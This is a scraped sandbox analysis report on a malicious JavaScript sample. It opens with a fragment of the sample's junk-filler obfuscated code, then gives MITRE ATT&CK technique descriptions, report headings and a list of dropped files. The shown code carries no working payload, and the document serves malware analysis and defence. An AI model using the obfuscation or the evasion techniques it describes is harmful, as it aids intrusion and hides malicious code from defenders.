1520	kltpxjvkr = "u";
1521	kltpxjvkr = "B";
1522	kltpxjvkr = "r";
1523	kltpxjvkr = "G";
1524	kltpxjvkr = "n";
1525	kltpxjvkr = "N";
1526	kltpxjvkr = "N";
1527	kltpxjvkr = "P";
1528	kltpxjvkr = "M";
1529	kltpxjvkr = "S";
1530	kltpxjvkr = "A";
1531	kltpxjvkr = "V";
1532	kltpxjvkr = "w";
1533	kltpxjvkr = "Q";
1534	kltpxjvkr = "Q";
1535	kltpxjvkr = "C";
1536	kltpxjvkr = "V";
1537	kltpxjvkr = "J";
1538	kltpxjvkr = "g";
1539	kltpxjvkr = "F";
1540	kltpxjvkr = "e";
1541	kltpxjvkr = "S";
1542	kltpxjvkr = "K";
1543	kltpxjvkr = "e";
1544	kltpxjvkr = "Q";
1545	kltpxjvkr = "V";
1546	kltpxjvkr = "y";
1547	kltpxjvkr = "l";
1548	kltpxjvkr = "d";
1549	kltpxjvkr = "I";
1550	kltpxjvkr = "V";
1551	kltpxjvkr = "g";
1552	kltpxjvkr = "U";
1553	gwvpcki = "J";
1554	gwvpcki = "c";
1555	gwvpcki = "p";
1556	gwvpcki = "f";
1557	gwvpcki = "k";
1558	gwvpcki = "O";
1559	gwvpcki = "d";
1560	gwvpcki = "h";
1561	gwvpcki = "m";
1562	gwvpcki = "C";
1563	gwvpcki = "l";
1564	gwvpcki = "k";
1565	gwvpcki = "g";
1566	gwvpcki = "M";
1567	gwvpcki = "N";
1568	gwvpcki = "W";
1569	gwvpcki = "a";
1570	gwvpcki = "m";
1571	gwvpcki = "V";
1572	gwvpcki = "R";
1573	gwvpcki = "w";
1574	gwvpcki = "Z";
1575	gwvpcki = "w";
1576	gwvpcki = "G";
1577	gwvpcki = "Z";
1578	gwvpcki = "U";
1579	gwvpcki = "P";
1580	gwvpcki = "M";
1581	gwvpcki = "z";
1582	gwvpcki = "I";
1583	gwvpcki = "k";
1584	gwvpcki = "Z";
1585	gwvpcki = "Z";
1586	gwvpcki = "i";
1587	gwvpcki = "W";
1588	gwvpcki = "F";
1589	gwvpcki = "k";
1590	gwvpcki = "W";
1591	gwvpcki = "a";
1592	gwvpcki = "B";
1593	gwvpcki = "M";
1594	gwvpcki = "I";
1595	gwvpcki = "l";
1596	gwvpcki = "O";
1597	sauvjaoov ( );	sauvjaoov() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 525931685256721403.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\be44873f-7577-420b-b8ab-c39fda3bb52c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7912

Windows Analysis Report
525931685256721403.js